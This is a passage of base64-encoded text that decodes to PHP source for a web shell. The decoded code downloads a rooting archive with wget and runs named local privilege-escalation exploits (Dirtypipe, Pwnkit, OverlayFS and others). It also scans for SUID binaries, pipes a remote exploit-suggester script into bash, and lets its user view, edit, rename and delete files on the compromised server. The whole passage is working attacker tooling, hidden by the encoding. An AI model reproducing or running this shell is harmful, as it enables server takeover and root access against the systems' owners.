F1dG9zY2FuJz48aSBjbGFzcz0nYmkgYmktYnVnJz48L2k+IEF1dG8gc2NhbjwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iJmlkX3R3bz1zY2Fuc2QnPjxpIGNsYXNzPSdiaSBiaS1zZWFyY2gnPjwvaT4gU2NhbiBTVUlEPC9hPgogICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSciLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiImaWRfdHdvPWVzZyc+PGkgY2xhc3M9J2JpIGJpLXNlYXJjaCc+PC9pPiBFeHBsb2l0IHN1Z2dlc3RlcjwvYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4iOwogICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicHJvY19vcGVuIikpIHsKICAgICAgICAgICAgICAgIGVjaG8gIjxjZW50ZXIgY2xhc3M9J2FudSc+Q29tbWFuZCBpcyBEaXNhYmxlZCAhPC9jZW50ZXI+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWlzX3dyaXRhYmxlKCRwYXRoKSkgewogICAgICAgICAgICAgICAgZWNobyAiPGNlbnRlciBjbGFzcz0nYW51Jz5DdXJyZW50IERpcmVjdG9yeSBpcyBVbndyaXRlYWJsZSAhPC9jZW50ZXI+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2lkX3R3byddKSAmJiAkX0dFVFsnaWRfdHdvJ10gPT0gImF1dG9zY2FuIikgewogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aC4iL3Jvb3RpbmcvIikpIHsKICAgICAgICAgICAgICAgICAgICBta2RpcigkcGF0aC4iL3Jvb3RpbmciKTsKICAgICAgICAgICAgICAgICAgICBleGVfcm9vdCgid2dldCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vaGVrZXJwcm90enkvcm9vdHNoZWxsL21haW4vYXV0by50YXIuZ3oiLCAkcGF0aC4iL3Jvb3RpbmciKTsKICAgICAgICAgICAgICAgICAgICBleGVfcm9vdCgidGFyIC14ZiBhdXRvLnRhci5neiIsICRwYXRoLiIvcm9vdGluZyIpOwogICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGguIi9yb290aW5nL25ldGZpbHRlciIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGRpZSgiPGNlbnRlciBjbGFzcz0nYW51Jz5GYWlsZWQgdG8gRG93bmxvYWQgTWF0ZXJpYWwgITwvY2VudGVyPiIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJwogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNoZWxsIG1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICA8cHJlIHN0eWxlPSJmb250LXNpemU6MTBweDsiPjxjb2RlPk5ldGZpbHRlciA6ICcuZXhlX3Jvb3QoInRpbWVvdXQgMTAgLi9yb290aW5nL25ldGZpbHRlciIsICRwYXRoKS4nUHRyYWNlIDogJy5leGVfcm9vdCgiZWNobyBpZCB8IHRpbWVvdXQgMTAgLi9yb290aW5nL3B0cmFjZSIsICRwYXRoKS4nU2VxdW9pYSA6ICcuZXhlX3Jvb3QoInRpbWVvdXQgMTAgLi9yb290aW5nL3NlcXVvaWEiLCAkcGF0aCkuJ092ZXJsYXlGUyA6ICcuZXhlX3Jvb3QoImVjaG8gaWQgfCB0aW1lb3V0IDEwIC4vb3ZlcmxheWZzIiwgJHBhdGguIi9yb290aW5nIikuJ0RpcnR5cGlwZSA6ICcuZXhlX3Jvb3QoImVjaG8gaWQgfCB0aW1lb3V0IDEwIC4vcm9vdGluZy9kaXJ0eXBpcGUgL3Vzci9iaW4vc3UiLCAkcGF0aCkuJ1N1ZG8gOiAnLmV4ZV9yb290KCJlY2hvIDEyMzQ1IHwgdGltZW91dCAxMCBzdWRvZWRpdCAtcyBZIiwgJHBhdGgpLidQd25raXQgOiAnLmV4ZV9yb290KCJlY2hvIGlkIHwgdGltZW91dCAxMCAuL3B3bmtpdCIsICRwYXRoLiIvcm9vdGluZyIpLicnLmV4ZV9yb290KCJybSAtcmYgcm9vdGluZyIsICRwYXRoKS4nPC9jb2RlPjwvcHJlPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+JzsKICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydpZF90d28nXSkgJiYgJF9HRVRbJ2lkX3R3byddID09ICJzY2Fuc2QiKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8Y2VudGVyIGNsYXNzPSJhbnUiPlsrXSBTY2FubmluZyAuLi48L2NlbnRlcj4nOwogICAgICAgICAgICAgICAgZWNobyAnCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwcmUgc3R5bGU9ImZvbnQtc2l6ZToxMHB4OyI+PGNvZGU+Jy5leGVfcm9vdCgiZmluZCAvIC1wZXJtIC11PXMgLXR5cGUgZiAyPi9kZXYvbnVsbCIsICRwYXRoKS4nPC9jb2RlPjwvcHJlPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+JzsKICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydpZF90d28nXSkgJiYgJF9HRVRbJ2lkX3R3byddID09ICJlc2ciKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8Y2VudGVyIGNsYXNzPSJhbnUiPlsrXSBMb2FkaW5nIC4uLjwvY2VudGVyPic7CiAgICAgICAgICAgICAgICBlY2hvICcKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaXB0Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHByZSBzdHlsZT0iZm9udC1zaXplOjEwcHg7Ij48Y29kZT4nLmV4ZV9yb290KCJjdXJsIC1Mc2sgaHR0cDovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vbXpldC0vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIvbWFzdGVyL2xpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyLnNoIHwgYmFzaCIsICRwYXRoKS4nPC9jb2RlPjwvcHJlPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBvcGVuZmlsZQogICAgICAgIGlmKGlzc2V0KCRfN1snb3BuJ10pKSB7CiAgICAgICAgICAgICRmaWxlID0gJF83WydvcG4nXTsKICAgICAgICB9ICAgCiAgICAgICAgLy8gdmlldwogICAgICAgIGlmKCRfN1snYWN0aW9uJ10gPT0gJ3ZpZXcnKSB7CiAgICAgICAgcygpOwogICAgICAgIGVjaG8gIgogICAgICAgIDxkaXYgY2xhc3M9J2J0bi1ncm91cCc+CiAgICAgICAgICAgIDxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSRwYXRoJmFjdGlvbj12aWV3Jm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWV5ZS1maWxsJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249ZWRpdCZvcG49JGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249cmVuYW1lJm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249ZGVsZXRlX2ZpbGUmb3BuPSRmaWxlJz48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYT4KICAgICAgICAgICAgPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9JHBhdGgmYWN0aW9uPWRvd25sb2FkJm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWRvd25sb2FkJz48L2k+PC9hPgogICAgICAgIDwvZGl2PgogICAgICAgIDxicj4KICAgICAgICAgICAgPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPjombmJzcDsiLmJhc2VuYW1lKCRmaWxlKS4iCiAgICAgICAgPC9icj4KICAgICAgICA8ZGl2IGNsYXNzPSdiZy1kYXJrJz4KICAgICAgICAgICAgPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQnPgogICAgICAgICAgICAgICAgPHRleHRhcmVhIHJvd3M9JzEwJyBjbGFzcz0nZm9ybS1jb250cm9sJyBkaXNhYmxlZD0nJz4iLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKS4iPC90ZXh0YXJlYT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+IjsKICAgICAgICB9CiAgICAgICAgLy8gZWRpdAogICAgICAgIGlmKGlzc2V0KCRfN1snZWRpdF9maWxlJ10pKSB7CiAgICAgICAgICAgICR1cGR0ID0gZm9wZW4oIiRmaWxlIiwgInciKTsKICAgICAgICAgICAgJHJlc3VsdCA9IGZ3cml0ZSgkdXBkdCwgJF83Wydjb250ZW50cyddKTsgICAgICAgCiAgICAgICAgICAgIGlmICgkcmVzdWx0KSB7CiAgICAgICAgZWNobyAnPHN0cm9uZz5FZGl0IGZpbGU8L3N0cm9uZz4gb2shICcub2soKS4nPC9kaXY+JzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgZWNobyAnPHN0cm9uZz5FZGl0IGZpbGU8L3N0cm9uZz4gZmFpbCEgJy5lcigpLic8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKCRfN1snYWN0aW9uJ10gPT0gJ2VkaXQnKSB7CiAgICAgICAgcygpOwogICAgICAgIGVjaG8gIgogICAgICAgIDxkaXYgY2xhc3M9J2J0bi1ncm91cCc+CiAgICAgICAgICAgIDxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSRwYXRoJmFjdGlvbj12aWV3Jm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWV5ZS1maWxsJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249ZWRpdCZvcG49JGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249cmVuYW1lJm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249ZGVsZXRlX2ZpbGUmb3BuPSRmaWxlJz48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYT4KICAgICAgICAgICAgPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9JHBhdGgmYWN0aW9uPWRvd25sb2FkJm9wbj0kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWRvd25sb2FkJz48L2k+PC9hPgogICAgICAgIDwvZGl2PgogICAgICAgIDxicj4KICAgICAgICAgICAgPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPjombmJzcDsiLmJhc2VuYW1lKCRmaWxlKS4iCiAgICAgICAgPC9icj4KICAgICAgICA8Zm9ybSBtZXRob2Q9J1BPU1QnPgogICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHJvd3M9JzEwJyBuYW1lPSdjb250ZW50cycgJF9yPiIuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkZmlsZSkpLiI8L3RleHRhcmVhPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VtYml0JyBuYW1lPSdlZGl0X2ZpbGUnPjxpIGNsYXNzPSdiaSBiaS1hcnJvdy1yZXR1cm4tcmlnaHQnPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPiI7CiAgICAgICAgfQogICAgICAgIC8vcmVuYW1lIGZvbGRlcgogICAgICAgIGlmKCRfN1snYWN0aW9uJ10gPT0gJ3JlbmFtZV9mb2xkZXInKSB7CiAgICAgICAgICAgIGlmKCRfN1sncl9kJ10pIHsKICAgICAgICAgICAgICAgICRyX2QgPSByZW5hbWUoJGRpciwgIiIuZGlybmFtZSgkZGlyKS4iLyIuaHRtbHNwZWNpYWxjaGFycygkXzdbJ3JfZCddKS4iIik7CiAgICAgICAgICAgICAgICBpZigkcl9kKSB7CiAgICAgICAgZWNobyAnPHN0cm9uZz5SZW5hbWUgZm9sZGVyPC9zdHJvbmc+IG9rISAnLm9rKCkuJzxhIGNsYXNzPSJidG4tY2xvc2UiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj48L2E+PC9kaXY+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgIGVjaG8gJzxzdHJvbmc+UmVuYW1lIGZvbGRlcjwvc3Ryb25nPiBmYWlsISAnLmVyKCkuJzxhIGNsYXNzPSJidG4tY2xvc2UiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj48L2E+PC9kaXY+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIHMoKTsKICAgICAgICBlY2hvICIKICAgICAgICA8ZGl2IGNsYXNzPSdidG4tZ3JvdXAnPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249cmVuYW1lX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPgogICAgICAgICAgICA8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0kcGF0aCZhY3Rpb249ZGVsZXRlX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLXRyYXNoLWZpbGwnPjwvaT48L2E+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGJyPgogICAgICAgICAgICA8aSBjbGFzcz0nYmkgYmktZm9sZGVyLWZpbGwnPjwvaT46Jm5ic3A7Ii5iYXNlbmFtZSgkZGlyKS4iCiAgICAgICAgPC9icj4KICAgICAgICA8Zm9ybSBtZXRob2Q9J1BPU1QnPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCc+CiAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIHZhbHVlPSciLmJhc2VuYW1lKCRkaXIpLiInIG5hbWU9J3JfZCcgJF9yPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VibWl0Jz48aSBjbGFzcz0nYmkgYmktYXJyb3ctcmV0dXJuLXJpZ2h0Jz48L2k+PC9idXR0b24+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZm9ybT4iOwogICAgICAgIH0KICAgICAgICAvL3JlbmFtZSBmaWxlCiAgICAgICAgaWYoaXNzZXQoJF83WydyX2YnXSkpIHsKICAgICAgICAgICAgJG9sZCA9ICRmaWxlOwogICAgICAgICAgICAkbmV3ID0gJF83WyduZXdfbmFtZSddOwogICAgICAgICAgICByZW5hbWUoJG5ldywgJG9sZCk7CiAgICAgICAgICA